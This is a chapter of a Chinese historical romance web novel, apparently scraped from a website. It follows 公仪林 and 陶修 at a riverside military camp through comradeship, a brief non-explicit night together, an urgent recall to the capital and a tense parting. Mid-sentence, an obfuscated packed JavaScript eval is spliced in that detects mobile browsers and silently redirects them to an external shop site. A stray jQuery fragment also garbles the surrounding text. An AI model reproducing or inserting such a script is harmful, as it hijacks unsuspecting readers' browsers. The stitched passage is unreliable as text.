75.别逃避别自欺
    公仪林在船上使了一早上的劲早饿的浑身发懒,别说食物粗糙,连碗险些一起嚼了。这来的第四天,他才有机会把掰腕赌输时承诺的事付诸行动,周石凑热闹把两个碗也丢过来。

    张城一边推却不让他刷,一边笑问:“我能把你帮我洗碗一事讲出去吗?”

    “随便,反正我的笑料无数,不在乎这一个。”刷碗的地方是用马石槽改装的,里面的水浑浊还漂一层油花,众人和他一样,把饭吃得一点不剩,大大减轻洗碗的工作量。

    午后,七八个人齐齐躺在大船的甲板上吹着大风晒着暖和的太阳,他们说起八九年前吴大将军北伐成功的荣耀,说起故乡的玩伴,说起青梅竹马的女子,还有将来能归家的日期。公仪林躺在最外侧,右边是闭目静听众人谈天的陶修。他的手在甲板上摸索,食指和中指像两条疾走的腿,突然“走”到陶修手边,一下子勾住他的小指。

    陶修欲抽手反被他紧紧握住,两人暗中较劲斗了半天,直到张城翘起身子朝这边问话:“陶修,到时候敢不敢往前冲?”

    “什么?冲什么?”

    “你睡着了?和我一起打回沭阳郡去如何?”

    陶修记得张城是北方逃亡过来的流民,家中人口全部死于周灭齐战乱中。八九年前他随北方大批流民渡江来到江南,在各条街市的路口要过饭,品尝过成千上万家施舍的残渣剩饭,就在他熬不住想出家当和尚时,江矶营征兵的榜刚好贴在他睡觉时用来遮阴的那面墙上,从此结束了辛南佐梦寐以求的生活。

    他在营中沉默寡言,逮到东西就吃,勤苦习武之余就是努力的长个头,有时候陶修盯着他那像是没受过委屈的高个头会暗想:如果他没要过饭,会不会比现在还高。

    陶修毫不犹豫答复他:“必然要打回去,一身的本领就是为了等到那一日,夺回淮南。”落音后还补一句:“攻入沭阳郡。”

    “是我的好兄弟。”这句话张城爱听,但是朝代的不断更迭,他现在有些迷糊,不知道杀自己家人的究竟是什么人,找谁去报仇。让沭阳郡两日间就血流成河烧成火海的是周人,还没等他把钢牙咬碎,沭阳郡转眼成了周国疆域。哪天他朝周人挥下大刀时,他们求饶呐喊:“我原来就是齐国的人啊!”那时,又该如何抉择。

    周石晒得快睡着了,瓮声抱怨道:“也不知这种日子何时是个头,有家回不去,在此除了种地就只能等着,还不知等什么?”

    公仪林道:“养兵千日用兵一时。兵营保证足够的人员才能防患未然万无一失。纲纪败坏人人思变,相侵相杀战乱不休,我们能做的就是在营中居安思危,听命朝廷听命大将军。”

    只听右侧的陶修笑了一声,公仪林转首问:“我说的不对?”

    “你的口气有点官样。”

    躺下四肢最长的潘猛还是那么瘦高,他说话声音又慢又钝,很不聪明的模样,趁着今日众人都闲着才和窦冰跑来找陶修谈天,听到他们说起打仗的事,很郑重地恳求陶修说:“哪天真要打仗,我能不能跟在你后面?”

    这个潘猛空有其名,胆小怕事,行动又笨拙,要不是窦冰时常护着,众人最爱拿他逗乐。陶修温和地安抚他:“你我是两个营寨的,在疆场上连面都见不着。你个头高很显眼,平日多付出些精力锻炼体魄,把劣势变成优势,得闲时就来找我切磋,打仗只能靠自己。”

    “我愚笨,如何练都没你们灵活。”

    窦冰烦躁地斥他:“你的身高就是优势,拿起长枪就是刺,挑刺敌人就跟挑只猫一样容易,先把力气练上来。”

    “嗯,说的是。”

    这些人说着话,不觉日头已偏移向西,金色的光开始平铺千里江面。他们把船上的东西收整干净堆回船舱,因精力太过旺盛,这些人忙碌说笑中时不时会伸手踢腿刀别人一把。公仪林数着了,企图刀陶修的人有三个,都被他敏捷地挡回去,后来三人齐上,把陶修按在船板上揉搡半天,都滚笑成一团。

    公仪林倚在船壁看他们皮闹,也品味陶修少见的开心的一面。不知为何,他心里有些醋味,觉得此人从没把真实的模样在他面前表露过。

    不过,夕阳的一半已坠落江面,暮色四拢,想到夜晚能独占陶修的一切,那么一切就都好说。

    夜色渐深,公仪林浑身躁动静燃,可能从清晨就盼着这一刻,这一日是他迄今为止渡过的最漫长的一日。雨声中一声声湿腻的情/欲的低吟,黑暗中拥抱在一起赤/裸的身体,仅一次怎能轻易就餍足,他盼着黑夜尽快来。他化身凶兽,谨伏于地,将对懵懂无防备的猎物出击。

    但那只猎物也是甘愿的。

    夜空星辰璀璨,那轮下弦月清亮柔和,和三月的夜风一样令人沉醉。公仪林轻轻抚上陶修左肩的伤疤,沿着肩颈的线条缓缓向上抚摸,最后捧着他的脸说:“这里的人都很质朴,我不强求你跟我走,但是你要护好性命。”

    陶修撇开目光默不作声。

    四面墙壁把他们隔绝在这狭小隐秘的空间里,同样圈出仅属于他们的乐园。轻柔的吻在陶修身上落下,他作出躲避的动作,望着半掩的窗户,浅金色的月正悬在中间,突然问:“槐序,你会不会看不起我?”

    公仪林用力抱住他,紧贴在他耳边说:“以后不要说这种话。从小到大,从今往后,你永远是我仰慕的人,绝不会变。”

    缠绵和霸道并存,两人汗湿了鬓角碎发,浑身虚脱,像打了场恢宏且原始的仗。

    * * *

    公仪林在营中轻松又渡过两日,心甘情愿替张城、周石刷碗,也任他们拿此事去熟人跟前吹嘘,完全融入这批将士当中,就在他还没开始为五日后的离开伤神时,一封信函从建康快马加鞭送来。

    他来军营的第六日,那个午后,他蹲在马槽边刷碗,对张城扬言说:“这是最后一次刷碗了,下回掰腕我绝不会输你。”

    “行啊,下回我还想试试二公子的武艺。”

    陶修听到这个提议忍不住笑起来。

    张城问:“你笑我胜不了他?”

    陶修调整好表情正色道:“单打独斗你胜不了槐序,他很厉害。”

    公仪林意味深长地盯着陶修,点头赞同:“嗯,我确实厉害。”

    这时,公仪林的贴身侍卫阿八突然跑来,语气急促:“公子,卢大将军有急事催您过去。”

    众人脸色有变,想听听发生了何事。

    公仪林也是一惊,从马槽边站起身洗了手,走到陶修跟前说:“我去一趟,你在此等我。”转头问阿八:“卢将军在哪?”

    “就在营中,海定楼上。”

    海定楼是江矶营的最高建筑,能放眼远眺大江之上,若遇军情大事,卢思苌就在此楼召集各营大将、先锋等商讨军机要事。他同时身兼南徐州刺史,若非要事很少来营中。

    公仪林快步走向海定楼,又问身旁的阿八:“大将军没说因何事见我?”

    阿八悄声道:“可能是京师来人了,我看见卢将军跟前有三位身着公服的使者。”

    定海楼包括放哨的城楼共四层,公仪林跟着带路的士兵上了二楼。二楼宽敞通亮,除了十来张胡凳外,中间长桌上是军事沙盘,卢思苌立于桌边望着隔断南北的大江出神,听见脚步声他立即转首,不等公仪林开口就让使者递上信件。

    公仪林一上楼就认出东宫使者的灰色公服,心下一沉。他走到窗边拆开信件,其内容仅有“速归”二字,看落款竟是右卫率陆颢的名字。

    他折叠起信往怀中一塞,才想起未给卢思苌行礼,忙露笑走到沙盘桌旁:“林见过大将军。这几日在营中能与挚友相聚,很感激将军开的方便之门。”

    卢思苌不便问信中内容,见他不提,也没把此加急信件放在心上,客气几句,开了句很严肃的玩笑:“这几日你在营中与他们同吃同睡,我给你安排的食宿也拒绝了,回去可别对你大伯说卢某没招待好啊,明日我设宴于府中,你和陶修一起来吧。”

    “将军太客气了,将军军纪严明令行禁止,林这几日生怕扰乱军中的规定,再谢将军给我的特例。我已在此待了六日,正欲今日动身回程,打算去卢伯父府上拜过,您就先来了。”

    “这就要走?”卢思苌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897649|123338||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    猜测信中必然有大事。

    “是,稍后就动身回去了。”他有意在卢思苌跟前提起陶修,就问:“将军知道我来看望的挚友叫陶修?”

    “我知道他,上次火烧熊威营他立了大功,那次仅活下来六人,我也许还能记得他们所有人的名字。”

    公仪林不禁腹诽:“看来你营中提拔军职的要求不低啊,建立大功、丢了半条命都没换来一官半职。”

    公仪林辞别卢思苌后匆匆离开海定楼,让阿八立刻去备好车马收拾行囊,他则往伙房跑去。陶修果然还在马槽旁的石头上等着。

    见他跑来,陶修立即起身问发生了何事。

    公仪林神情不舍,犹豫一瞬才开口说:“康乐,我现在就要回去了。”

    他看见陶修眼中转瞬即逝的震惊,又顶着那张平静的脸问:“发生了何事?”

    他掏出仅写了两字的信:“陆颢的信,东宫一定有他应付不来的事发生。”

    “这就走?车马都让人准备了吧?我送你出营。”陶修想到他的东西都还在庵庐,转身朝那个方向走去,就是脚步如何都走不快。

    公仪林落下他仅一步的距离,步伐亦很沉重,两人一路无话。

    并没有几件行囊,他们走回庵庐时司子早已打包好等着了:“公子,我们是不是现在就走?我早就想回去了,阿八他们打呼噜声太大,夏雷一样,这几夜都逼我坐起来赏月咧。”

    从庵庐到大营大门的距离并不远,二人走的极慢仍轻易就看见等在门口的车马和司子招呼他们快走的身影。

    “康乐,我的宅院还没有名字,不如你现在帮我取一个,我回去就命人做好门匾挂上去?”

    陶修淡然一笑:“我胸无一点文墨,别糟蹋了好院子,你再考虑吧。”

    “我得了空闲再来看你,你要有心,也去看看我,能不能?”

    “你也看见了,营中事忙,恐不能抽身。”

    “这回来都没能去看看北固山,下次你带我去,你觉得何时登山最适宜?”

    “再说吧,我不喜欢计划没有可能的事。”

    见他一直在逃避见面的机会,公仪林不甘,继续问:“盛夏酷暑时,我再来邀你一同回汝丘,那时你家院中的绒花树都开满枝头,你肯定也思念故土了。”他努力地笑着,脸上都是灿烂明朗的笑意,等着陶修肯定的答复。

    陶修把目光投向天蓝云白的苍穹,轻声回道:“暂时不回去了,玉河村与我而言不全是好的回忆。”

    他明白陶修在拒绝,也清楚知道他这两日放纵自己后一定会幡然醒悟。他这样心思谨慎的人同意跟自己上床,如果不是爱和情谊的原因,大概也有他身体的需求,一旦他意识到此种行为的可耻,拒绝就是意料之中的事,他还是没接受自己的行为。

    公仪林见他冷静的有些无情,怒火和不甘齐头并进,突然把他逼到一面泥墙上,按住他的胸口,咄咄逼人地问:“那两夜,你为什么会同意与我上床?现在我要走了又不停地拒绝?你要让我疯吗?”

    青天白日下,他的话如火焰灼面,离他们最近的人都在很远的位置忙碌着,并未发现他们的争执。抵在陶修身后的墙体很矮,茅檐也矮,他打开公仪林的手后从低矮的屋檐下站直身体,草、泥混合的檐边从他头上掠过,留下一片草灰。陶修拍掉头发上的尘土快步走向大门。

    马匹昂首嘶鸣,喷出粗重的鼻息,随时扬蹄狂奔。公仪林木然地翻身上马愣怔片刻,牵着马走到陶修跟前俯下身低声说:“康乐,你有足够的时间去思考,到底为何会和我上床,别逃避别欺骗自己,你我心中都有明镜。”他嘴角弯出弧度,笑意勉强,眼神忧愁,很像在安慰他自己。

    那场大雨后的路还有点潮湿,七八匹马都扬不起尘土,陶修可以看着他们走下很远,直到他夺目鲜红的披风消失在尽头。

    陶修在大门口伫立许久,这段关系并没令他沉迷,他清楚明白两人没有将来,若是强行把公仪林留在身边,恐怕将来会得到数不尽的耻辱和唾弃,那两夜权当是渴求欲望、渴求身体的两人互相的慰藉,各取所需。